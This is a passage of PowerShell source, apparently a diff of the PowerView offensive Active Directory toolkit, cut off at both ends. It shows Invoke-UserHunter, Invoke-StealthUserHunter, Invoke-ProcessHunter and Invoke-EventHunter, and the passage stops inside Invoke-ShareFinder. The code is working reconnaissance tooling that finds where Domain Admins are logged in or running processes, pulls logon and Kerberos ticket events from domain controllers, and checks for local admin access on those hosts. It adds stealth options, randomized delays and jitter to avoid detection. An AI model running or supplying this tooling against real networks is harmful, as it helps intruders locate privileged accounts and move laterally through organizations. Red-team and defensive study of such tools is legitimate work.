a list of + active users with Get-NetSession/Get-NetLoggedon. The found user list is compared + against the target list, and a status message is displayed for any hits. + The flag -CheckAccess will check each positive host to see if the current + user has local admin access to the machine. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Only enumerate computers that have unconstrained delegation. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER AdminCount + + Switch. Hunt for users with adminCount=1. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER CheckAccess + + Switch. Check if the current user has local admin access to found machines. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results, i.e. Invoke-UserView functionality. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Stealth + + Switch. Only enumerate sessions from connonly used target servers. + + .PARAMETER StealthSource + + The source of target servers to use, 'DFS' (distributed file servers), + 'DC' (domain controllers), 'File' (file servers), or 'All' + + .PARAMETER ForeignUsers + + Switch. Only return results that are not part of searched domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -CheckAccess + + Finds machines on the local domain where domain admins are logged into + and checks if the current user has local administrator access. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins are logged into. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Threads 20 + + Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt are logged in + or have sessions. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups are + logged into with a 60 second (+/- *.3) randomized delay between + touching each host. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -TargetServer FILESERVER + + Query FILESERVER for useres who are effective local administrators using + Get-NetLocalGroup -Recurse, and hunt for that user set on the network. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -SearchForest + + Find all machines in the current forest where domain admins are logged in. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Stealth + + Executes old Invoke-StealthUserHunter functionality, enumerating commonly + used servers and checking just sessions for each. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $Unconstrained, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $AdminCount, + + [Switch] + $AllowDelegation, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [Switch] + $Stealth, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All", + + [Switch] + $ForeignUsers, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + [Array]$ComputerName = @() + + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($Stealth) { + Write-Verbose "Stealth mode! Enumerating commonly used servers" + Write-Verbose "Stealth source: $StealthSource" + + ForEach ($Domain in $TargetDomains) { + if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for File Servers..." + $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController + } + if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for DFS Servers..." + $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} + } + if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $ADSpath + 'Filter' = $ComputerFilter + 'Unconstrained' = $Unconstrained + } + + $ComputerName += Get-NetComputer @Arguments + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() + + # if we're showing all results, skip username enumeration + if($ShowAll -or $ForeignUsers) { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Null + $User | Add-Member Noteproperty 'MemberName' '*' + $TargetUsers = @($User) + + if($ForeignUsers) { + # if we're searching for user results not in the primary domain + $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)" + $DomainShortName = $krbtgtName.split("\")[0] + } + } + # if we want to hunt for the effective domain users who can access a target server + elseif($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() + $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() + $User + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() + $TargetUsers = @($User) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $_ + $User + } | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter -or $AdminCount) { + ForEach ($Domain in $TargetDomains) { + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $UserADSpath + 'Filter' = $UserFilter + 'AdminCount' = $AdminCount + 'AllowDelegation' = $AllowDelegation + } + + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser @Arguments | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Domain + $User | Add-Member Noteproperty 'MemberName' $_.samaccountname + $User + } | Where-Object {$_} + + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + } + } + + if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + if(!$DomainShortName) { + # if we're not searching for foreign users, check session information + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } + + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser + } + } + } + } + if(!$Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + # TODO: translate domain to authoratative name + # then match domain name ? + $UserDomain = $User.wkui1_logon_domain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $Proceed = $True + if($DomainShortName) { + if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { + $Proceed = $True + } + else { + $Proceed = $False + } + } + if($Proceed) { + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser + } + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'DomainShortName' = $DomainShortName + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user found, returning early" + return + } + } + } + + } +} + + +function Invoke-StealthUserHunter { + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All" + ) + # kick off Invoke-UserHunter with stealth options + Invoke-UserHunter -Stealth @PSBoundParameters +} + + +function Invoke-ProcessHunter { +<# + .SYNOPSIS + + Query the process lists of remote machines, searching for + processes with a specific name or owned by a specific user. + Thanks to @paulbrandau for the approach idea. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ProcessName + + The name of the process to hunt, or a comma separated list of names. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user/process. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins have a + running process. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Threads 20 + + Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt have running + processes. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups have + running processes with a 60 second (+/- *.3) randomized delay between + touching each host. + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $ProcessName, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $RemoteUserName, + + [String] + $RemotePassword, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + if(!$ProcessName) { + Write-Verbose "No process name specified, building a target user set" + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { + $_.MemberName + } + } + } + + if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if($RemoteUserName -and $RemotePassword) { + $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue + } + else { + $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue + } + + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if($ProcessName) { + $ProcessName.split(",") | ForEach-Object { + if ($Process.ProcessName -match $_) { + $Process + } + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -contains $Process.User) { + $Process + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ProcessName' = $ProcessName + 'TargetUsers' = $TargetUsers + 'RemoteUserName' = $RemoteUserName + 'RemotePassword' = $RemotePassword + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user/process found, returning early" + return + } + } + } + + } +} + + +function Invoke-EventHunter { +<# + .SYNOPSIS + + Queries all domain controllers on the network for account + logon events (ID 4624) and TGT request events (ID 4768), + searching for target users. + + Note: Domain Admin (or equiv) rights are needed to query + this information from the DCs. + + Author: @sixdub, @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchDays + + Number of days back to search logs for. Default 3. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-EventHunter + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $Domain, + + [String] + $DomainController, + + [Int32] + $SearchDays = 3, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-EventHunter" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($ComputerFilter -or $ComputerADSpath) { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + else { + # if a computer specifier isn't given, try to enumerate all domain controllers + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for domain controllers" + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { + $_.MemberName + } + } + } + + if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $SearchDays) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'SearchDays' = $SearchDays + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays + } + } + + } +} + + +function Invoke-ShareFinder { +<# + .SYNOPSIS + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it lists of active shares with Get-NetShare. Non-standard shares + can be filtered out with -Exclude* flags. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of 